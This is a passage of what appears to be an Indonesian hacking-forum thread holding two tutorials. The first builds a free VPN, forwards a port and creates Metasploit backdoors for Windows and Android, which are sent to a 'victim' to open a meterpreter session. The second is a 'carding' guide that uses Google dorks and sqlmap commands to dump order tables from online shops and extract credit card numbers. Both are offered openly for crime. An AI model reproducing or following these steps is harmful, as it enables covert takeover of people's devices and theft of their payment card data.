kuning dan muncul tulisan berwarna hijau yg ada tulisan Merci !, berarti register berhasil, lalu cek email kita di mytemp.email tadi, lalu buka pesan dari ipjetablenya dan jangan klik link dari ipjetable dulu. Jika sudah membuka email dari ipjetable tadi, copy link yg dikirimkan oleh ipjetable tadi dengan cara tekan klik kanan dibagian linknya, lalu pilih copy link location, lalu buka web ini free-proxy.xyz ===> free-proxy.xyz , lalu pastekan link yg diberikan tadi, lalu hapus link yg dipastekan tadi, misal setelah dipastekan jadinya seperti ini : https://xww.ro/?http://ipjetable.net/api/scr.php?af=0&code=MTQ4NDkwODM3NTp0dHF2QHNpbGl3YW5naS5nYTp0Zmk4MjI4OTg6M3poNDEzMTl6YTo4NjY1NzZhNTkzNDU1YzdjYzRmM2Y5NDhhY2UxZWI2Zg Maka hapus bagian "https://xww.ro/?" menjadi seperti ini : http://ipjetable.net/api/scr.php?af=0&code=MTQ4NDkwODM3NTp0dHF2QHNpbGl3YW5naS5nYTp0Zmk4MjI4OTg6M3poNDEzMTl6YTo4NjY1NzZhNTkzNDU1YzdjYzRmM2Y5NDhhY2UxZWI2Zg lalu klik unblock. Maka kita akan diarahkan ke web ipjetable, disana kita masukkan username dan password sesuai dengan email yg kita terima tadi di mytemp, tinggal copy-paste saja lalu klik connexion, jika sudah konek, tinggal kita hubungkan vpn kita di pc kita dengan meng-klik pilihan diujung kanan atas desktop kita lalu pilih vpn, dan klik vpn setting, lalu akan muncul pengaturan networknya, kita klik icon "+" yg ada dibagian kiri bawah. 1. pilih vpn > Point to point tunneling protocol (PPTP). 2. bisa diberi nama bebas, gateway diisi dengan pptp.ipjetable.com 3. username diisi sesuai dengan yg diterima di email kita 4. password pun sama, diisi sesuai yg diterima di email. 5. lalu klik tombol "Advanced" dan ceklis bagian "use point-to-point encryption" 6. kemudian klik OK dan klik save. Setelah itu, masuk ke folder network, lokasinya ada di etc/network dan disana ada file bernama interfaces , di interfaces itu kita tambahkan teks berikut dibagian paling bawah : Kurang lebihnya menjadi seperti ini : sebaiknya pc kita restart dulu, tp mungkin tidak juga, tidak apa2. Kemudian konekan lah pc kita ke vpn yg telah dibuat tadi, jika gagal konek, coba sekali lagi konek-an. Jika sudah terhubung, langsung cek ip+port kita dengan membuka web ini : http://www.canyouseeme.org/Lalu ip publik kita akan terlihat, nah disana kan ada kolom port, jika kita ingin exploit beda jaringan, kita harus membuka akses port kita. langkahnya : 1. silahkan masukkan port ke kolom port website tadi, masukkanlah port yg akan kita jadikan backdoor pada korban, misal 5555, seperti berikut : 2. Jika sudah memasukkan portnya untuk dicek, klik check port, lalu akan muncul tulisan yg menerangkan bahwa port kita sudah forward atau belum, jika belum akan muncul pesan "Error: I could not see your service on IPPUBLIKKITA on port (5555)", 3. Jika sudah forward, maka akan muncul pesan "Success: I can see your service on IPPUBLIKKITA on port (5555) Your ISP is not blocking port 5555 4. Untuk mengatasi yg belum forward, pertama masukkan dulu port yg akan kita gunakan, lalu klik check port, nah akan muncul pesan error, misal kita gunakkan port 5555, lalu buka terminal kalian lalu ketikkan perintah berikut : Jika sudah mengetikkan perintah tersebut diterminal, lalu coba check port kalian lagi di web tadi, maka pesan error pun akan menjadi sukses, nah tinggal kita buat backdoornya, seperti berikut : masuk dulu terminal dan ketikkan :Ini Untuk Windows Ini Untuk Android Setelah membuat backdoor, ketik perintah ini : Tunggu beberapa saat, lalu setelah masuk msfconsole, ketikkan beberapa perintah berikut : Tekan enter, trus untuk windows ketik : Untuk Android ketik : Setelah itu masukkan lhost kita : Lalu masukkan lport kita : Kemudian tinggal kita exploit : Selama proses exploit, kirimkanlah backdoor yg sudah dibuat tadi, dan buka backdoor tersebut, jika android harus kita install terlebih dahulu. Jika sudah dibuka, maka sesi meterpreter-pun terbuka, tinggal kita oprek2 deh tuh korban :D. Untuk videonya, bisa dibuka di link ini ===> https://youtu.be/Tjm85cZZ56U
  14. Kali ini saya akan mengepost tutorial Carding dengan Sqlmap,berhubungan saya tidak terlalu bisa dengan cara ini saya akan mengepost postingan dari web yg udah jago maen sqlmap Langsung aja eksekusi Pertama kita siapkan tools" nya dahulu : 1. sqlmap 2. dork carding ( bisa cari di google ) / download 3. sqli scanner : sqli scanner 1 sqli scanner 2 sqli scanner 3 Pertama ,ambil dork lalu scan menggunakan sqli scanner : Klik Open Untuk Melihat Gambar : Setelah itu kita test URL target dengan memberi kan tanda petik di depan "=" http://www.zite.com/merchandise/index.php?cat=268 menjadi : http://www.zite.com/merchandise/index.php?cat='268 Nah, web tersebut error saat kita inject , Klik Open Untuk Melihat Gambar : Kedua, kita eksekusi menggunakan sqlmap : berikut perintahnya : ./sqlmap.py -u link --dbs Disini kita mendapatkan 3 database : Klik Open Untuk Melihat Gambar : Setelah itu kita dump database nya untuk mencari table , gunakan perintah : ./sqlmap.py -u link -D namadatabase --tables ( disini saya coba database "balboast_gkgcart" ) nah, saya dapat tables nya : Klik Open Untuk Melihat Gambar : Kita pilih di bagian "orders" . Kita ambil columns nya . Gunakan perintah : sqlmap.py -u link -D namadatabase -T namatable --columns Maka akan muncul seperti ini : Klik Open Untuk Melihat Gambar : Nah sudah muncul, selesai sudah..tinggal kita dump 1 per 1 columnsnya bro Caranya : ./sqlmap.py -u link -D namadatabase -T namatable --dump contoh : ./sqlmap.py -u link -D namadatabase -T namatable -C cc_number --dump maka nanti cc number akan muncul walau proses agak lama . Jika kurang jelas bisa download video nya disini Semoga bermanfaat